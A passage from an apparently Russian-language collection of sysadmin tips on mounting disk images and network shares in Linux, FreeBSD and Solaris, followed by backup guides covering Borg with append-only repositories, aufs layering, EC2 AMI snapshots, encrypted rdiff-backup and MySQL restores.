       umount /mnt/disk/LiveCD/new_ext3/sysroot
       umount /mnt/disk/LiveCD/new_ext3/new_sysroot
       rm  /mnt/disk/LiveCD/new_ext3/new_sysroot
       mv /mnt/disk/LiveCD/new_ext3/new_os.img /mnt/disk/LiveCD/new_ext3/os.img
    
    
    6. Сжимаем ext3 образ
    
       rm /mnt/disk/LiveCD/newcd/squashfs.img
       cd /mnt/disk/LiveCD/new_ext3/
       /sbin/mksquashfs os.img sysroot /mnt/disk/LiveCD/newcd/squashfs.img
    
    
    7. Создаем iso образ для записи на CD:
    
       mkisofs -o ./live.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 \
         -boot-info-table -J -r -hide-rr-moved -V "Fedora-7-Live-i386" /mnt/disk/LiveCD/newcd/
    
      Если появится желание изменить метку диска Fedora-7-Live-i386, не забудьте поменять ее в isolinux/isolinux.cfg
    
     
    ----* Как в Linux примонтировать образ QEMU диска   [комментарии]
     
    mount -o loop,offset=32256 qemu_image.img /mnt/qemu_image
    
     
    ----* Как быстро расшарить директории через ftp в Linux   Автор: borey  [комментарии]
     
    На моей станции поднят ftp сервер (vsftpd). Как известно FTP cервер позволяет расшарить 
    определённую директорию (в нашем случае /var/ftp/)/ Часто у меня возникали ситуации 
    когда нужно что то расшарить по сети, а копировать это в раздел где расшаренная 
    директория - места нет. Да и копировать это опять же или менять кофиг сервера и
    перерапускать сервис.
    Для себя нашёл очень простой и удобный способ как это сделать. 
    
    Монтировать нужные директории в дерево /var/ftp используя 'mount --bind '. всё просто.
    
       [root@n100851 ~]# mkdir /var/ftp/pub/music
       [root@n100851 ~]# mount --bind /home/user/media/sound/ /var/ftp/pub/music/
    
    и всё. анонимусы могут забирать музыку с FTP сервера.
    
     
    ----* Монтирование в Linux флеш-карт, отформатированных цифровой фотокамерой   Автор: Гусев Андрей  [комментарии]
     
    После удачно завершившейся разборки с "multiple LUN support" для доступа к девайсам карт-ридеров 
    (MAUSB-300 производства OLYMPUS и безымянный "11 in 1" Тайваньского производства) оказалось, 
    что карты xd-Picture (OLYMPUS) и SD (Transcedent), отформатированные в соответствующих аппаратах 
    (фотокамера CAMEDIA C55ZOOM, и наладонник PalmOne Tungsten E2) монтироваться всё-таки не хотят.
     По выяснении обстоятельств оказалось что монтировать их нужно с указанием параметра offset:
    
        xd 16Mb - 20992 (0x5200)
        xd 128Mb - 24064 (0x5E00)
        xd 256Mb - 25088 (0x6200)
        sd 128Mb - 49664 (0xC200)
        sd 256Mb - 51712 (0xCA00)
    
    т.е., например, вот так:
    
        > mount -t vfat -o loop,offset=20992 /dev/sda /mnt/ttt
    
    После модификации содержимого карт (добавления/удаления файлов), 
    смонтированных таким образом соответствующие аппараты не высказывают к этому самому содержимому 
    (и к файловой системе карт) никаких претензий, т.е. читают его и понимают правильно.
    
     
    ----* Экспорт каталогов через NFS под другим именем   Автор: butcher  [обсудить]
     
    Если необходимо экспортировать каталог, имя которого очень длинное (например,
    большая вложенность),
    то для удобства клиента можно сделать символическую ссылку на этот каталог с
    более коротким именем.
    На клиенте же монтировать не сам экспортируемый каталог, а ссылку на него. 
    
    Пример:
    На сервере есть каталог:
       /usr/home/ftp/anonftp/distrib/unix/FreeBSD/distfiles 
    
    Создаём ссылку на него:
       # ln -s /usr/home/ftp/anonftp/distrib/unix/FreeBSD/distfiles /home/distfiles
    
    В файле /etc/exports помещаем такую строку:
       /usr/home/ftp/anonftp/distrib/unix/FreeBSD/distfiles -ro -mapall=nobody
    
    Теперь на клиенте можно монтировать этот каталог таким образом:
       # mount_nfs server:/home/distfiles /usr/ports/distfiles
    
     
    ----* Использование smbfs через autofs   Автор: Konstantin  [комментарии]
     
    Пишем скрипт /etc/auto.smbfs примерно такой:
       #!/bin/sh
       a="${1/@//}"
       a="${a//\ /\\ }"
       echo -fstype=smbfs,username=guest,password=fmask=666,iocharset=cp1251,codepage=cp866 :"//$a"
    
    Параметры - по вкусу. automount как-то небрежно относится к пробелам в имени, но так работает.
    Ставим на файл бит исполнения:
       chmod +x /etc/auto.smbfs
    
    Далее в /etc/auto.master добавляется строка
       /var/autofs/smb   /etc/auto.smbfs
       где /var/autofs/smb  - точка монтирования.
    
    Стартуем:
       /etc/init.d/autofs restart
    
    Для удобства:
       ln -s /var/autofs/smb /smb
    
    Теперь можно обращатся к шаре "share" на хосте "host" вот так: 
       cd /smb/host@share
    по IP тоже работать должно.
    
    Всё написанное верно для дистрибутива debian sarge. Нужны пакеты autofs и smbfs.
    Желающие могут расширить фунциональность, прикрутив  к скрипту передачу логина\пароля через путь.
    
     
    ----* Как запретить создание символических линков в /tmp   [комментарии]
     
    FreeBSD: В графе "Option" /etc/fstab для раздела /tmp нужно указать:
       rw,noexec,nosuid,nodev,nosymfollow
    
    Для Linux: Openwall patch (http://openwall.com/) + CONFIG_SECURE_LINK + chmod +t /tmp
    
     
    ----* Как примонтировать iso образ диска в FreeBSD 5.x   Автор: Insane  [комментарии]
     
    Для начала:
       mdconfig -a -t vnode -u0 -f /share/iso/slackware-9.0-install.iso
    затем
       mount -t cd9660 /dev/md0 /mnt/iso
    
    Обратный процесс:
       umount /dev/md0
       mdconfig -d -u0
    
    p.s. Может не работать если в ядре нет "device md"
    
     
    ----* Как примонтировать iso-образ CD диска в FreeBSD   [комментарии]
     
    В /boot/loader.conf добавляем vn_load="YES" или подгружаем руками kldload vn.ko
    Монтируем:
        vnconfig /dev/vn0c /home/user/cdrom.iso
        mount -t cd9660 /dev/vn0c /mnt
    Размонтируем:
        umount /mnt
        vnconfig -u /dev/vn0c
    
     
    ----* Как разрешить в FreeBSD монтировать CD-ROM обычным пользователям (доп. ссылка 1)   [комментарии]
     
    /etc/sysctl.conf:
       vfs.usermount=1
       vfs.generic.usermount=1
    mount -t cd9660  /dev/acd0c /home/user/cdrom
    chmod 644 /dev/acd0c
    
     
    ----* Как примонтировать в FreeBSD CD-ROM с русифицированной FS, чтобы русские буквы не выглядели как вопросительные знаки.   Автор: lavr  [комментарии]
     
    cd /usr/ports/sysutils/cd9660_unicode
    make && make install
    грузить модуль через
       kldload /lib/cd9660_unicode/cd9660_[unicode|koi8-r|iso-8859-5|cp866].ko
    
     
    ----* Как примонтировать директорию из одной части файловой системы в другую.   [комментарии]
     
    В linux 2.4.x ядрах:
       mount --bind какую_директорию_монтировать куда_монтировать
    В FreeBSD:
       mount_null какую_директорию_монтировать куда_монтировать
    
     
    ----* Как размонтировать занятый неизвестным процессом CDROM   [комментарии]
     
    fuser -k -m /mnt/cdrom - убить процессы использующие /mnt/cdrom
    umount /mnt/cdrom
    
     
    ----* Как в FreeBSD при загрузке в single read-olny переключится в RW режим.   [обсудить]
     
    mount -u -w /
    
     
    ----* Как примонтировать cdrom с русскими файлами   [комментарии]
     
    В Joliet файлы хранятся в unicode, соответственно codepage=unicode.
    Если файлы записаны в 866 кодировке нужно добавить ",codepage=866"
    mount -t iso9660 -o iocharset=koi8-r,ro,noexec,mode=0444  /dev/cdrom  /mnt/cdrom
    или  в /etc/fstab:
    /dev/cdrom /mnt/cdrom iso9660 noauto,user,ro,noexec,mode=0444,iocharset=koi8-r
    а затем:  mount /mnt/cdrom
    
     
    ----* Как в Solaris примонтировать локально .iso образ.   [комментарии]
     
      lofiadm -a cdrom.iso
      mount -F hsfs /dev/lofi/1 /mnt
      umount /mnt
      lofiadm -d /dev/lofi/1
    
     
    ----* Как правильно прописать сменные накопители в /etc/fstab для FreeBSD.   Автор: Insane  [комментарии]
     
    /dev/acd0c /mnt/cdrom cd9660 ro,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/fd0 /mnt/flop msdos rw,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/ad0s2 /mnt/store msdos rw,-W=koi2dos,
    -L=ru_RU.KOI8-R,noexec,nosuid,nosymfollow,
    -u0,-g0,-m 660  0 0
    Еще для удобства можно создать симлинки типа:
    ln -sf /dev/acd0c /dev/cdrom
    ln -sf /dev/acd1c /dev/cdrom1 (если есть второй cdrom)
    ln -sf /dev/fd0 /dev/flop
    прописать изменения в fstab,
    и монтировать диски командой mount /dev/cdrom а не
    mount /dev/acd0c =).
    
     

       Резервное копирование

    ----* Резервное копирование с Borg   Автор: Александр  [комментарии]
     
    Borg решает задачи хранения, передачи, очистки, сжатия, шифрования,
    дедупликации и защиты резервных копий, а также разграничивает доступ к
    различным репозиториям с резервными копиями. В этой статье мы рассмотрим
    использование инструмента borgbackup для упрощения построения системы
    резервного копирования. Единственный аспект, который я опущу в этой статье
    - шифрование. Если для вас принципиально шифровать свои бекапы, то в этом
    нет никакой проблемы - в официальной документации описано как
    использовать шифрование и вы легко сможете использовать шифрование с
    предложенными мной решениями.
    
    Также borg не занимается подготовкой данных для резервирования и  их
    восстановлением. На входе и выходе вы получаете только файлы, а что и как с
    ними делать - решать вам. Если скомандуете "положи в бекап каталог с
    файлами баз mysql", то borg это сделает, но на выходе вы получите кашу вместо
    данных. Консистентность - это ваша задача и её обсуждение выходит за
    рамки этой статьи. Для решения этой задачи используется множество инструментов,
    зависящих от службы, данные которой вы собираетесь копировать - будь то
    mysqldump, снапшоты lvm, zfs или виртуальных машин.
    
    Borg представляет из себя единственный исполняемый файл. Отдельной службы,
    которая следит за бекапами у него нет, поэтому автоматизировать его работу
    придется самостоятельно. Он хранит резервные копии в репозиториях, которые
    представляют собой простые каталоги с файлами. Вы можете получать доступ к ним
    как локально, указав путь, так и по сети. Для доступа по сети используется ssh.
    Важной функцией borg, наличие которой повлияло на выбор именно этой системы,
    является возможность разграничения доступа клиентов по ключам, используемым для
    входа на сервер с бекапом.
    
    В статье мы рассмотрим организацию резервного копирования на предприятии, в
    котором я работаю. Вам не обязательно всё делать так же - решения,
    применяемые нами, не обязательно должны подходить всем и могут быть не
    оптимальными для вас.
    
    
    Установка
    
    В большинстве дистрибутивов уже есть пакет borgbackup и  можно просто установить этот пакет.
    
    Для CentOS
    
       sudo yum install borgbackup
    
    Для Debian/Ubuntu
    
       sudo apt install borgbackup
    
    Или можно скачать исполняемый файл и установить его в систему. Скачиваем его со этой
    страницы и выполняем
    
       sudo cp borg-linux64 /usr/local/bin/borg
       sudo chown root:root /usr/local/bin/borg
       sudo chmod 755 /usr/local/bin/borg
    
    Подробнее об установке на другие дистрибутивы
    
    Borg необходимо установить как на сервере так и на клиентах.
    
    Настройка сервера. Часть 1
    
    Подготовив пространство для хранения бекапов, создадим пользователя с домашним
    каталогом в этом пространстве. В моё случае это пользователь borg с домашним
    каталогом /backup/borg
    
       adduser --home /backup/borg --disabled-password borg
    
    Доступ к пользователю borg сделаем только по ключам, поэтому вход с пустым
    паролем по ssh должен быть отключён. Во всех известных мне дистрибутивах это
    сделано по умолчанию.
    
    Поправим две опции в конфиге ssh-сервера /etc/ssh/sshd_config
    
       ClientAliveInterval 10
       ClientAliveCountMax 30
    
    Перезапустим ssh-сервер
    
       sudo systemctl restart sshd
    
    Зайдем в сеанс пользователя borg
    
       sudo -i -u borg
    
    Подготовим ssh
    
       mkdir .ssh
       touch .ssh/authorized_keys
       chmod 700 .ssh
       chmod 600 .ssh/authorized_keys
    
    Теперь создадим репозиторий
    
       borg init -e none MyRepo
    
    В домашнем каталоге появится каталог репозитория MyRepo. На этом первоначальная
    настройка сервера закончена.
    
    В качестве имени сервера будем использовать backup.foo.
    
    Настройка клиента
    
    У пользователя, от имени которого будет запускаться скрипт, должен быть
    ssh-ключ. Если его нет, то генерируем его, выполнив команду от имени этого пользователя
    
       ssh-keygen
    
    Теперь нужно настроить отправку файлов бекапа на сервер. Как уже говорилось
    выше, borg занимается только хранением файлов - их подготовка ваша
    задача. Создадим скрипт /usr/local/bin/backup.sh, который будет готовить данные
    и отправлять их в бекап.
    
       #!/bin/bash
       
       ####
       #Готовим данные и копируем их в каталог /var/backup
       #Если данные не нуждаются в подготовке, то этот этап пропускаем
       #и вместо /var/backup указываем каталог с данными
       ####
       
       borg create -C lz4 borg@backup.foo:MyRepo::`date +%Y%m%d_%H%M%S` /var/backup
    
    Последняя команда отправит файлы из каталога /var/backup на сервер backup.foo,
    в репозиторий MyRepo, в бекап с названием в виде текущей даты/времени, сжатый
    алгоритмом lz4.
    
    Настраиваем cron на выполнение этого скрипта от имени нужного вам пользователя
    по расписанию на ваше усмотрение.
    
    Забираем с клиента файл id_rsa.pub и продолжаем настраивать сервер.
    
    Настройка сервера. Часть 2
    
    Снова заходим в сеанс пользователя borg
    
       sudo -i -u borg
    
    На этот раз редактируем файл .ssh/authorized_keys. Добавляем строку
    
       command="/usr/bin/borg serve --restrict-to-repository /backup/borg/MyRepo --append-only",restrict <user key>
    
    Теперь обладатель ключа, зайдя на сервер backup.foo под логином borg, получит
    возможность создавать и просматривать бекапы только в репозитории MyRepo и ни в
    каком более. Также обладатель этого ключа не сможет получить shell
    пользователя, а значит взлом клиента не даст злоумышленнику испортить ваши
    бекапы или даже заглянуть в другие репозитории. Это существенно поднимает
    безопасность реализованной схемы. Но в данном решении есть не очевидный нюанс,
    о котором ниже.
    
    Опция --append-only
    
    Механизм --append-only реализован не совсем интуитивно. Дело в том, что при
    использовании borg с этим ключом, разрешено добавлять данные, а команды на
    удаление пишутся в журнал транзакций, но не применяются по настоящему. По
    команде delete или prune, с опцией --append-only, borg сделает вид, что бекапы
    удалены, но на самом деле записывает команды в журнал и перестает отображать
    бекапы в списке. Изменения будут применены в момент выполнения любой команды,
    подразумевающей внесение изменений в репозиторий, без ключа  --append-only,
    например create, delete или prune.
    
    Подробнее эта особенность обсуждается здесь.
    
    Как мы обошли эту проблему при автоматизации удаления старых бекапов я покажу ниже.
    
    Настройка сервера. Часть 3
    
    Теперь мы автоматизируем удаление старых бекапов, чтобы не занять всё место на
    сервере. Настроим всё так, чтобы хранить последние 14 копий с интервалом в
    день, 8 копий с интервалом в неделю и 12 копий с интервалом в месяц. Также мы
    обойдем проблему с неочевидным поведением опции --append-only.
    
    Заходим в сеанс пользователя borg
    
       sudo -i -u borg
    
    Поместим список имеющихся репозиториев в файл repo.list
    
       echo MyRepo > repo.list
    
    Создадим пустой файл backup.list в каталоге репозитория
    
       touch MyRepo/backup.list
    
    Создадим настройку политики хранения копий, описанную выше
    
       echo "--keep-daily 14 --keep-weekly 8 --keep-monthly 12" > MyRepo/trim.conf
    
    Подготовим скрипт /usr/local/bin/trim.sh
    
       #!/bin/bash
    
       
       HOME_DIR="/backup/borg/"
       REPO_LIST=`cat ${HOME_DIR}/repo.list`
       
       alarm(){
       	####
       	#Тут нужно предусмотреть отправку оповещения
       	####
       }
    
       trim_repo(){
       	#Получаем путь до репозитория и настройку сохранения бекапов
       	REPO_DIR="${HOME_DIR}${1}"
       	TRIM_CONF=`cat ${REPO_DIR}/trim.conf`
       
       	#Получаем список бекапов в репозитории
       	borg list --format '{id}{NL}' "${REPO_DIR}" > ${REPO_DIR}/backup_new.list
       
       	#Ищем каждый ID из старого списка в новом. Если не нашли хотябы один бекап,
       	#то код возврата будет 1. Если всё хорошо, то 0.
       	cat ${REPO_DIR}/backup.list \\
       	| awk -v dir=${REPO_DIR} '{print "grep -q " $0 " " dir "/backup_new.list || exit 1" }' \\
       	| bash
       	exit_code=$?
       
       	if [[ $exit_code -gt 0 ]]; then
       		#Если хотябы один ID не найден, то оповещаем ответственного за бекап человека
       		alarm "В бекапе ${1} не хватает копий. Trim остановлен."
       	else
       		#Если старые бекапы на месте, то делаем trim, сохраняем новый список бекапов и удаляем старый
       		borg prune ${TRIM_CONF} ${REPO_DIR}
       		borg list --format '{id}{NL}' ${REPO_DIR} > ${REPO_DIR}/backup.list
       		rm ${REPO_DIR}/backup_new.list
       	fi
       }
       
       for REPO in ${REPO_LIST}; do
       	trim_repo ${REPO}
       done
    
    Этот скрипт будет проверять на месте ли бекапы, которые лежали в репозитории
    после прошлого запуска и если ни один из них не пропал, то выполняет удаление
    старых копий, не попадающих под шаблон. Как видите скрипт рассчитан на то, что
    у вас будет множество репозиториев с разными настройками хранения.
    
    Политика хранения копий
    
    Для настройки того сколько и каких копий будет хранить borg мы использовали
    опции, с которыми вызывалась команда prune, записанные в файле trim.conf.
    Рассмотрим возможные опции подробнее
    
    
  • --keep-within INTERVAL храним все архивы в течение указанного промежутка времени
  • --keep-last, --keep-secondly сколько последних копий хранить
  • --keep-minutely сколько поминутных архивов хранить
  • -H, --keep-hourly сколько почасовых архивов хранить
  • -d, --keep-daily сколько ежедневны архивов хранить
  • -w, --keep-weekly сколько еженедельных архивов хранить
  • -m, --keep-monthly сколько ежемесячных архивов хранить
  • -y, --keep-yearly сколько ежегодных архивов хранить Команда prune удалит архивы, которые не попали под указанные опции. Опция --keep-within принимает аргумент вида "<int><char>", где char-это "H", "d", "w", "m", "y". Например, --keep-within 2d означает, что все архивы, созданные за последние 48 часов удалять нельзя. "1m" означает "31d". Архивы, попадающие под этот шаблон, не учитываются в других опциях при построении списка сохраняемых архивов. Откат команд удаления Для возврата бекапов, удалённых в режиме --append-only, нужно понять в какой момент произошло удаление и удалить транзакции, содержащие команды на удаление. Список транзакций находится в файле transactions, в каталоге репозитория. Поняв когда произошли вредоносные изменения, нужно удалить файлы транзакций с номерами вредоносной и всех последующих. Например если мы видим вот такой лог transaction 1, UTC time 2016-03-31T15:53:27.383532 transaction 5, UTC time 2016-03-31T15:53:52.588922 transaction 11, UTC time 2016-03-31T15:54:23.887256 transaction 12, UTC time 2016-03-31T15:55:54.022540 transaction 13, UTC time 2016-03-31T15:55:55.472564 И выяснили, что последняя легитимная транзакция имеет номер 5, то нужно удалить все транзакции после 5. Для этого в каталоге с репозиторием выполняем rm data/**/{6..13} borg delete --cache-only <имя репозитория> Это действие вызовет предупреждение со стороны клиентов borg при следующем обращении к репозиторию и просьбу подтвердить продолжение. Поэтому, если предполагается продолжить использование этого репозитория настроенными на него клиентами, то на всех нужно выполнить list репозитория и согласится использовать репозиторий. Либо на клиентах удалить файл rm ~/.config/borg/security/REPOID/manifest-timestamp Подробнее всё это описано здесь Извлечение и монтирование бекапов Вы можете добавить добавить свой ssh-ключ для пользователя borg без опций --restrict-to-repository и --append-only, для управления репозиториями со своего рабочего места. В этом случае команды будут выглядеть так. Получить список бекапов в репозитории borg list borg@backup.foo:<репозиторий> Получить список файлов в бекапе borg list borg@backup.foo:<репозиторий>::<имя бекапа> Извлекаем весь бекап или его часть в текущий каталог borg extract borg@backup.foo:<репозиторий>::<имя бекапа> [что извлекаем] Монтируем бекап с помощью механизма FUSE borg mount -o users borg@backup.foo:<репозиторий>::<имя бекапа> <точка монтирования> При монтировании могут возникнуть проблемы с правами доступа к файлам. В этом случае можно смонтировать через sudo, переопределив команду ssh. В этом случае ходить по смонтированному бекапу также придется с помощью sudo sudo borg mount -o users --rsh "ssh -i <ваш ключ>" borg@backup.foo:<репозиторий>::<имя бекапа> <точка монтирования> Отмонтируем командой borg umount <точка монтирования> При извлечении и монтировании можно исключить файлы по шаблону ключом --exclude. Заключение На этом всё. Я надеюсь, что эта статья станет хорошей отправной точкой при проектировании или модернизации вашей схемы резервного копирования. Borg старается следовать философии unix и хорошо занимается одним делом - управляет архивами. Используя этот инструмент вы сможете создать схему резервного копирования подходящую именно вам.
  •  
    ----* Объединение томов через aufs для отказоустойчивости и моментального восстановления  (доп. ссылка 1)   Автор: Gleb Kulikov  [комментарии]
     
    Объединение томов с разных физических устройств с распределением файлов/слепков
    файлов на предмет отказоустойчивости и моментального восстановления в случае
    нечисти по типу "шифровальщиков". Объединённый ресурс отдаётся через Samba и NFS.
    
    Нужно было быстро решить проблему с восстановлением после попадания
    пользователей под "шифровальщиков". Тем не менее, решение уже показало себя
    весьма эффективным и буквально спасло. Дополнительно продумывались меры по
    повышению надёжности, так как если не по-
    бедности, то по понятным соображениям, организовать правильно
    организованный бэкап сложно: инкрементальный бэкап периодически (сильно реже
    разумного) сливается на отдельный, не включенный постоянно, диск и (ещё реже),
    делается копия на блюрэй.
    
    Общая идея: архив разбивается на две (или больше) частей. 1-ая всегда
    монтируется r/o и содержит холодные и редко изменяемые данные. Эта часть лежит
    на одной группе томов (рейд сконфигурирован так, что несколько групп томов
    лежат на своих физических дисках) и с неё достаточно редко делается резервная
    копия на блюрэй.
    
    Для изменяемых данных выделен том, который лежит на другой группе томов (читай,
    другом физическом диске и в ещё одном случае, на другой ноде). Для хранения
    состояния файлов, сделано весьма идиотское решение, но опять-таки, практика
    показала его полезность. Раз в 30 минут ресурс попросту сканируется и если есть
    изменения, комитится в Git. База гита лежит перекрёстно, на другом томе (=>
    другом физическом устройстве). В основном, люди работают с доковскими и
    автокадовскими  файлами, но как оказалось,  несмотря на очевидную
    неатомарность, файлы в гите не бьются. За счёт сжатия, база гита пухнет умеренно.
    
    Раз в три месяца, изменяемые части ресурса сканируются на предмет не
    изменявшихся за это время файлов и таковые переносятся в r/o хранилище. База
    гита архивируется и отправляется на хранение.
    
    За счёт того, что изменяемая часть ресурса относительно маленькая, всё
    работает весьма шустро и не жрёт ресурсы.
    
    Изменяемые и холодные файлы "слиты" в один ресурс через aufs. А поскольку факт
    "стирания"/изменения  файла в r/o хранилище aufs имитирует созданием спецфайла
    / копии изменяемого файла, работа с таким комбинированным хранилищем прозрачна.
    В то же время, при работе "шифровальщика" или (не)преднамеренном удалении,
    страдает весьма незначительная часть хранилища, инцидент легко разобрать руками
    и файлы восстанавливаются моментально. Перекрёстное хранение на разных
    физических устройствах r/o, r/w и слепков истории изменений файлов,
    делает сон значительно спокойнее: потерять cразу ВСЁ можно, но значительно
    менее вероятно, чем при задействовании механизмов перераспределения
    LVM/снапшотов btrfs. С последними тоже экспериментирую, но более осторожно.
    
    Вот как-то так.
    
    Ну и неоднократно приходилось доставать копии файлов с совсем небольшим
    временным лагом и/или сравнивать с "историческими". В обычной схеме со сжатым
    бэкапом можно было-бы рехнуться.
    
    PS: грабли, на которые можно наступить: если нужно поменять ACL/права доступа,
    это нельзя делать на объединённом ресурсе: aufs тупо скопирует на r/w раздел
    файлы из всех слоёв. Но если последовательно применить setacl ко всем слоям,
    изменения подхватятся и будут нормально работать.
    
    PPS: overlayfs в такой схеме работает скверно.
    
    PPPS: права (любые) в гите не сохраняются. В данном случае это проблема, но
    схема всё равно оказывается спасительной.
    
     
    ----* Скрипт для резервного копирования EC2-серверов в AMI (доп. ссылка 1)   Автор: Alexander  [комментарии]
     
    Постановка задачи: есть некоторое количество EC2-серверов в AWS, разбросанных
    по разным регионам. Требуется автоматизировать их резервное копирование так,
    чтобы восстановление было легким и быстрым.
    
    Собственно, сам скрипт: ec2-automate-backup2ami.sh
    Описание: README.md
    Скрипт-обертка для запуска по крону: ec2-backup-wrapper.sh
    
    Для работы скрипта предварительно необходимо: 
    
    Установить пакет ec2-api-tools (у меня он версии 1.7.1.2)
    
    Подредактировать скрипт-обертку ec2-backup-wrapper.sh, указав путь к
    ec2-automate-backup2ami.sh и к лог-файлу
    
    Создать в AWS IAM отдельного пользователя для бэкапов и назначить ему похожую политику:
    
       {
         "Version": "2012-10-17",
         "Statement": [
           {
             "Sid": "Stmt1389911824000",
             "Effect": "Allow",
             "Action": [
               "ec2:CreateImage",
               "ec2:CreateSnapshot",
               "ec2:CreateTags",
               "ec2:DeleteSnapshot",
               "ec2:DeregisterImage",
               "ec2:DescribeRegions",
               "ec2:DescribeSnapshotAttribute",
               "ec2:ModifySnapshotAttribute",
               "ec2:DescribeImages",
               "ec2:DescribeInstances",
               "ec2:DescribeSnapshots",
               "ec2:DescribeTags",
               "ec2:DescribeVolumeAttribute",
               "ec2:DescribeVolumeStatus",
               "ec2:DescribeVolumes"
             ],
             "Resource": [
               "*"
             ]
           }
         ]
       }
    
    Создать файл с параметрами доступа для созданного пользователя:
    
       [ec2-user@zenoss ~]$ cat .stage
       export AWS_ACCESS_KEY=access_key
       export AWS_SECRET_KEY=secret_key
       export AWS_ACCESS_KEY_ID=access_key
       export AWS_SECRET_ACCESS_KEY=secret_key
    
    Указать EC2_HOME
    
    Кронтаб выглядит примерно так:
    
       [ec2-user@backup ~]$ crontab -l
       PATH=$PATH:/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin
       EC2_HOME=/usr/local
       SHELL=/bin/bash
    
       00 2 * * * ./ec2-backup-wrapper.sh stage "alerts1@mydomain.cc alerts2@mydomain.cc"
    
    Результат работы скрипта записывается в лог-файл вида
    ec2-automate-backup2ami.stage.log. В случае ошибки выполнения он будет
    отправлен на указанные почтовые адреса.
    
    Стоит обратить внимание, что файл с параметрами называется .stage, а скрипт
    вызывается с названием без точки.
    
    После успешного выполнения, в AWS AMI появится образ с именем
    ec2ab_server.domain.cc_YYYY-MM-DD и со следующими тэгами:
    
    Name - название инстанса EC2
    InitiatingHost - FQDN бэкап-сервера
    PurgeAfterFE - дата удаления образа в формате unix time
    PurgeAfter - дата удаления образа в формате YYYY-MM-DD
    (исключительно для удобства админа, скрипт использует PurgeAfterFE)
    PurgeAllow - разрешает автоматическое удаление образа (по умолчанию - true)
    Instance - ID инстанса EC2
    Created - дата создания образа в формате YYYY-MM-DD
    
    Понятно, что восстановление сводится к запуску инстанса из образа
    
    PS. Скрипт создан на основе
    [[href="https://github.com/colinbjohnson/aws-missing-tools/tree/master/ec2-automate-backup ec2-automate-backup]]
     (бэкап EBS-дисков, без итерации по регионам) от colinbjohnson, за что ему
    большое спасибо.
    
    PS2. Возможно под OS X скрипт будет работать неправильно (см. четвертую строчку
    в функции get_purge_after_date()), но у меня возможности проверить нет.
    
     
    ----* Организация шифрованного бэкапа с помощью rdiff-backup, encfs и Dropbox (доп. ссылка 1)   Автор: Денис Смирнов  [комментарии]
     
    Предлагается один из методов организации бэкапа данных, с которыми производится
    непосредственная работа и которые постоянно в процессе данной работы меняются.
    
    Подготовка
    
    Для начала я отделил те данные, с которыми я работаю сейчас от архива и
    результатов работы. Это относительно небольшой каталог с активными проектами.
    Относительно - потому что в нем 14 Гб.
    
    Dropbox
    
    Я использую dropbox, потому что он имеет одну приятную особенность - он
    просто работает. Без лишних усилий. 2 Гб на бесплатном аккаунте мне, конечно,
    мало - я пользуюсь платным. В принципе вместо dropbox'а я мог бы делать
    бэкап на свой сервер, но тогда частичное восстановление данных из бэкапа всегда
    требовало бы быстрого доступа к сети. Меня это не устраивает - я уже
    попадал в ситуацию, когда случайно удалял с ноутбука нужный мне большой каталог
    с файлами, не имея быстрого доступа к сети.
    
    Внутри Dropbox у меня большая часть данных, но рабочий каталог с данными над
    которыми работаю сейчас - нет. Во-первых, потому что в рабочем каталоге у
    меня часто может быть приватная информация, в том числе чужая. И хотя я
    облачным сервисам более-менее доверяю, мои клиенты - не всегда, и я
    должен уважать их политику безопасности.
    
    Во-вторых - данные там могут меняться слишком часто. И быть объемными
    - например логи отладки. Синхронизация при каждом изменении это перебор.
    
    Encfs
    
    И все-таки бэкапы (как и многие другие данные) у меня хранятся в Dropbox. А это
    означает, как минимум, что при утере ноутбука у злоумышленника окажется очень
    много ценных данных. И это недопустимо.
    
    Поэтому в Dropbox лежат шифрованные encfs-разделы.
    
    Кроме того, у Dropbox есть один неприятный недостаток - он не различает
    регистр в именах файлов (из-за совместимости с windows). А значит, если у меня
    в каталоге есть файлы, скажем, README и readme, то один из них он переименует.
    Encfs шифрует имена файла, за счет этого вероятность таких пересечений
    становится минимальной.
    
    Так что я создаю с помощью encfs внутри ~/Dropbox отдельный каталог для
    бэкапов, и монтирую его куда-нибудь за пределы каталога ~/Dropbox:
    
       mkdir ~/Dropbox/encfs/backup
       mkdir ~/backup
       encfs ~/Dropbox/encfs/backup ~/backup
    
    
    rdiff-backup
    
    Собственно для бэкапа я использую простейший скрипт:
    
       #/bin/sh
       from=$1
       to=$2
       if [ -d $to ]; then
           rdiff-backup "$from" $to
           rdiff-backup --remove-older-than 1M $to 2>&1 > /dev/null
       fi
    
    Он проверяет наличие каталога (на случай, если encfs раздел не смонтирован), и
    если он есть - выполняет бэкап.
    
    После чего удаляет из бэкапа старые snapshot'ы (старее месяца).
    
    Этот скрипт в cron'е запускается раз в сутки.
    
    Итог
    
    При таком подходе я могу потерять только результаты работы за последние сутки,
    и не боюсь утечки данных, несмотря на использование облачного сервиса.
    
    И да, так как я параноик, также с помощью rdiff-backup на одной из своих машин
    я делаю ежедневный backup всего содержимого каталога Dropbox. На тот
    маловероятный случай, если ошибка на самом сервисе Dropbox приведет к потере данных.
    
     
    ----* Частичное восстановление данных MySQL из бэкапа, созданного с использованием LVM (доп. ссылка 1)   Автор: Андрей Татаранович  [комментарии]
     
    Я не буду описывать процесс создания резервной копии MySQL с применением
    менеджера томов LVM. В интернете хватает описаний этой методики. Предположим у
    вас уже есть бэкап, который содержит бинарные файлы баз данных. В моем случае
    они хранятся на выделенном сервере. Использование бинарных файлов позволяет
    быстро восстановить все базы на момент создания резервной копии, но вот что
    делать если нужно восстановить только часть баз или только одну, или же только
    пару таблиц или несколько удаленных записей из таблиц?
    
    Конечно можно поднять отдельный MySQL сервер на другом сервере, скопировать
    туда бэкап и после запуска вытащить из него нужные данные посредством
    mysqldump. Но что делать, если другого сервера нет или версия MySQL сервера
    содержит патчи, которые делают резервную копию несовместимой с дистрибутивной
    версией? Я постараюсь дать одно из возможных решений этой проблемы.
    
    В своем способе я также буду запускать отдельную копию MySQL сервера, но
    основная идея заключается в том, чтобы не копировать данные из бэкапа, а
    примонтировать их через сеть. Я буду использовать sshfs для этих целей. Чтобы
    при запуске второго сервера не изменились данные в бэкапе я применю оверлей на
    базе AUFS. Одна из его частей будет примонтированным бэкапом, а вторая -
    хранить все изменения относительно бэкапа. Таким образом я избегаю любых
    модификаций резервной копии.
    
       # mkdir /mnt/mysql-{backup,datadir,tmp}
       # sshfs root@backup.server:/backup/mysql-server /mnt/mysql-backup
